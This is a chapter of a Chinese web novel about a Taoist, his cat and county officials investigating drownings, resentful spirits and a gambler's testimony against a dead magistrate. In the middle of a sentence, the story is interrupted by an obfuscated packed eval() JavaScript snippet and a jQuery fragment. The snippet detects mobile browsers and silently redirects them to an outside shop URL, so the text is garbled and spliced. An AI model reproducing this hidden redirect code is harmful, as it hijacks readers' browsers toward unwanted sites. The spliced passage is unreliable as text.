12. 仵作不是仵作(二)
作品:《注意!反派有猫》 膳堂内,昨日与女仵作同行的男子此刻端正地立于其后,今日已是雪衣佩剑,腰间挂鉴天司楼氏玉牌,确显然主仆有别。
怪不得林仲殊乱了阵脚,原是先行官与楼氏关系匪浅。
容岫的目光毫不客气地在院堂内来回扫视一圈,见五六张四方桌都坐满了人,唯独正中坐着林县丞和年轻女仵作和络腮胡容清的那桌还余有一边的位置。
她跃出阿琰的怀抱,几个跳跃,大喇喇纵上长杌的一端,尾巴一围,坐正,歪脑袋看向阿琰。
那模样明显在说:这桌好,有大肉包子。
宋今琰接收到容岫的眼神,竟也和只猫儿一样半点不见腼腆拘束径直坐下,落座后朝在座诸位一揖,算周全了礼数。
见女仵作回礼,林县丞才忙又吩咐傻立在一旁冷汗津津的杂役:“还不快去,再盛一碗热粥来。”
宋今琰却叫住他。
“盛两碗。”
说罢,他自顾从面前的梯笼中拿起一个肉包子,从中间撇开,趁着热气从肉芯子中蒸腾出来,一半送入口中,一半却是递给了一旁的黑色狸猫。
林县丞大早上就被容清闹得额角突突,眼下笑得更勉强了,心想这小道长再有来头,也不过是白身。官民有别,如此行径简直毫无尊卑可言!
可又瞧身边佩鉴天令的女仵作并无所谓,那递镇南王令牌的容清此刻更是对木琰殷勤不已。他心中即便再不满也不敢轻易显露,一个劲儿懊恼自个儿不就是帖了张榜文吗?怎就给自己招来一堆活祖宗?
只得朝杂役摆摆手,转脸硬着头皮寒暄:“这只大胖狸子毛色真好。诶,另一位小道长怎么没来用饭啊?”
容岫哼哧一声,大尾巴重重甩在杌子上,会不会说话!
宋今琰见猫儿如此,心中生趣。
“师姐临有事,先行一步。”
“可惜了,还想再见师姐一面呢!”容清一扫昨日针锋相对之态,今日热情得很,听闻容岫先走了,满脸惋惜。
转眼容清又见木琰身旁的猫儿两口就吞下了肉包子,忙又掰了一个,殷勤递上到猫儿面前,扭头和木琰套近乎:“木道长,昨夜睡得可好啊?”
容岫可不领他的情。
这聒噪的大胡子昨日还骂她和阿琰是骗子呢!
便一爪子挠过去,眼见容清手背上多了三条红痕,惊得他手一松,肉包子滚到地上。
见这碍眼的包子没喂进猫儿嘴里,宋今琰心中莫名舒坦,回他:“睡得尚可。”
说着,宋今琰径直捞过猫儿,扣进怀里。
他要亲自喂。
“倒是林县丞瞧着没休息好。”宋今琰话一落,几人齐齐看向林仲殊,果然本就青黑的眼下,晨时更比昨夜里浮肿了几分。
“尚可尚可。”林仲殊揉揉眼。
女仵作这时开口了,她明显不想同在座几人多言,道:“尸格我已呈与县丞。尸体肿胀,皮肤苍白,手足皮肤明显褶皱,口鼻有白色浮沫,尸身完好无外力撞击,确定是溺亡。”
她喝了口清茶,转而问宋今琰琰:“如此,敢问木道长昨夜可有发现所谓鬼魂踪迹?”
宋今琰将桌上最后一个包子掰给容岫,回道:“并未。”
林仲殊听到这二字,微不可查地松了口气。
趁着这话头,他道:“神神鬼鬼的,都是民间百姓自个儿吓自个儿的,有无都只是图个心理安慰,本官是看着流言压不住了,才出此下策,以安民心。如今既然督官要入城了,法事也就不必做了,我让周主簿给木道长结了赏银……”
林仲殊开口要撵人,容清就截住他话,问木琰:“没有鬼魅,便是有妖作祟咯?”
林仲殊三番几次被容清无视,纵使他是镇南王府的公子,此刻林仲殊心里也稍显不满:“姬……哦不,容清道长,鉴天司正月初四封了城,后就搜进了县衙,里外都查了,别说衙门里确实没有妖族藏身,就算有,鉴天司封城那几日都灭光了!”
容清可不同林仲殊客气,嚷嚷着反问:“既无妖无鬼,那为何连死三任县令,难道你们县衙有奸人,屡屡谋害我大庆的朝廷命官?”
“下官为昌芜百姓尽职尽责,容清道长您说这话可得有真凭实据啊!”
那头的林仲殊急得就差一把鼻涕一把泪了,这头的容岫悠哉悠哉舔干净碗里最后的两粒粥米。
吃饱后,她踱步杌子另一头,晒着太阳餍足地抻了个懒腰。
宋今琰见猫儿吃饱喝足,便也放下碗筷,不再同在座虚与委蛇,单刀直入道:“的确没有妖族也没有鬼魅,不过,有比妖族鬼魅更棘手的东西。”
容清热烈地看着宋今琰:“道长请说!”
“怨煞。”
诸位闻言,眼睛慢慢睁圆——
林县丞:“尸堆上汇集的那种怨……怨煞?!”
容清也惊道:“在县衙里?!”
在座之人无一不晓怨煞是何等邪物!
人妖二族百年大战结束后,天下出现的无数妄境,正是战场尸坑里又或民间死人堆上的怨煞之气妖变后汇集而成的结界。
各处妄境受各自埋骨地里修为最高、执念最深的得道大能或大妖所影响。
他们死后肉身虽腐、神魂虽散,但一生修为受执念牵制而滞留在埋骨地,附于一花一草或占据小妖小兽的肉身来修成实体。又接受怨煞之气的供养不停壮大,只待时机一到便可堕为妄妖,凝怨煞之气成妄境,妄妖便是一境之主。
而所谓妄境,说是另一个世界也不为过。
凡不幸误入其中者,心念被噬,只能无止境地在妄妖为其编织的幻境中自欺欺人地“生活”,循环在妄妖生前的执念因果里,直至误入者的肉身在现实中难以维持,魂销骨散,再次成为滋养妄境的养分。
虽说怨煞常有,无论人妖,横死、冤死或客死他乡久无人收尸的尸体上都会有。
好在这盛世之中,不可能毫无征兆地出现足以催生妄境的大规模怨煞。
如此想,众人倒是可以松口气。
可是!
堂堂官署公廨,风清气正之地,竟汇集了怨煞,数量还不少?!
这实在不可思议!
县衙内院里还有埋骨地不成??
林县丞脸色“唰”地一白。
阳光刚好斜到几人桌上,他披着晨阳却浑身冷得厉害。
他哆嗦地指向宋今琰,不知作何言:“你这,这这……”
容清皱着两根粗黑的眉毛,胡子都要被他那张愁苦脸挤掉了:“怨煞害人可比妖族作乱棘手得多!”
女仵作闻言,低头抿了一口清茶,同身侧的楼家御妖师交换了一个眼神,再看向对面的一人一猫时,开口道:“看来,林县丞务必请木道长留下,助县衙度过此劫。”
林仲殊应是,心中叫苦不迭。
-
就在众人心思各异时,门外传来一阵脚步。
一捕快左手拎着一人,右手拿着一纸陈词,报说:“禀大人,此人招供了。”
捕快呈上证词,接着支吾道:“他家住城外北坡,他说……除夕那日,他亲眼见到岑县令杀了人。之前想报官却不敢,昨日听闻岑县令身死,这才来县衙打听消息。”
“他果然有猫腻!”容清闻言最先按耐不住。
也不管宋今琰看他的眼神是不是跟淬了冰似的,容清依旧巴巴地往上贴,道:“我早间出县衙溜达时,见此人于茫茫大雾中鬼鬼祟祟,欲敲登闻鼓却犹豫不决,后又见人即跑,我便将他抓了回来,木道长你快看看他身上可有沾染怨煞之气。”
那男人三十出头的年纪,一身衣裳打满了补丁,胡子拉碴畏畏缩缩。
此人自述嗜赌成性,现居城外北坡的刘家村。
昌芜县的城门戌时落锁,但他平日里都要把手头的银钱赌完才走赌坊密道出城回家。
除夕那日他喝了点小酒,具体什么时候出的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956958|193172||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
密道记不清楚了,只记得那天一出去就见天上在炸烟花,这人便在附近中多逗留了片刻。
好巧不巧,他躲在树后解手时,撞见了岑一白用麻袋扛着两具尸体,鬼鬼祟祟地进了密道口。
“一派胡言!”
男人话还未说完,林县丞就驳斥道:“就咱们县令那小身板儿,能抗两具尸体?你可知污蔑朝廷命官是重罪!”
男人伏地蜷肩,眼珠子只敢向下来回扫视各位贵人的衣角皂靴,现下听到这吼声,更是巴不得把脑袋钻地缝里。
转而脑子灵光一闪,觉得这声音十分熟悉。
他猛地抬起脑袋望向林县丞——
是个官爷啊,有点壮实,不仅声音熟悉,连轮廓都有些眼熟,可又想自己是不可能认识官爷的,遂又捂着豁牙低下脑袋。
倒是这一抬头叫林县丞看清了来人:“刘喜来?!”
宋今琰侧目,“县丞认得这赌徒。”
“啊……不不不,不认识!”林县丞连连摆手,道:“这刘喜来是咱们县出了名的赌鬼,他爹生前是个棺材匠,也是远近闻名的大善人,偏就生了这么个赌鬼儿子,把家产都败光了,还把他爹给活活气死了。这事儿咱们县里都晓得。”
宋今琰闻言,又看了那林仲殊几眼,不再多言,问那刘喜来:“他运的是两具童子尸,对吗。”
众人目光跟着瞧去,吓得刘喜来更哆嗦了,半晌,他磕头求道:“官爷饶命,官爷饶命,小人刚才并非有意隐瞒,小人也是后来才知道那是周家走丢的俩小儿。”
众人闻言面面相觑。
女仵作又问刘喜来:“我有两个问题,其一,夜黑,你如何确定岑县令那日背的是死尸而非活人?其二,既套着麻袋,你又是如何确定两个小孩的身份?”
“回、回这位大人,麻袋里的小孩子身形小,但那血浸湿了整个袋子不说,还一个劲儿往外渗。那出血量,不死才叫奇怪。”刘喜来继续支支吾吾:“至于身份……小人捡到其中一个袋子里掉出的长命金锁,上面刻着周字……”
刘喜来当时见此场面,着实吓得不起,但酒壮怂人胆,见岑一白进了密道后,他壮着胆去捡回了那枚金锁。
但他回去就病了一场,也是隔两日进城才听说周家丢小孩的事儿,。
林仲殊急道:“锁呢?”
“锁被我抵给赌坊老板了……”刘喜来瑟缩着,眼看捕快的拳头又要落下来,他忙喊:“容我狡辩!”
“小人当时并不知道那凶手的身份,又听说了周家小儿失踪一事,立马就揣着金锁来报官了。可我在衙门恰好遇见咱们县老爷着官服出门,那模样……可不正是那晚上的运尸人嘛!这这这、这叫我哪还敢报官啊!”
刘喜来说得又怕又委屈:“那金锁揣在身上也是烫手,我刚好手头紧,这才把那金锁上的字儿磨掉抵给了赌坊老板。后来又遇鉴天司封城,这倒霉事也便被我忘脑后了。再后来,就是昨天听闻县令死了,我才琢磨着来探探风声。”
几人默了片刻,那还真是让他碰巧了。
容岫想起前几日在城中走动时,确实听说城北的周家在除夕夜确实走失了一对龙凤子,俩小儿不到四岁,周员外夫妻俩正月里寻子不得,愁白了头。
又思及怨煞结界里的那些童子幻象和那首没头没尾的歌谣,容岫同阿琰交换了个眼神。
倒是女仵作先开口问:“木道长料得真准,敢问道长如何得知是两个小孩?”
“猜测一二罢了。”
话虽如此,宋今琰也没藏着,将昨夜在妄境所见告知众人。
当然,他所述乃容岫的视角。
容清听完,又念了两遍那鬼童谣:“月儿勾,风儿静,阿母怀中乖乖睡……手儿牵,歌儿唱,阿孤双双把家归……路遥遥,心儿鲜,肚子空空把潭沉?”
他复述着,联想宋今琰所述昨夜之事,睁圆了眼:“这不明摆了说内院藕池就是汇集怨煞的沉尸地?”

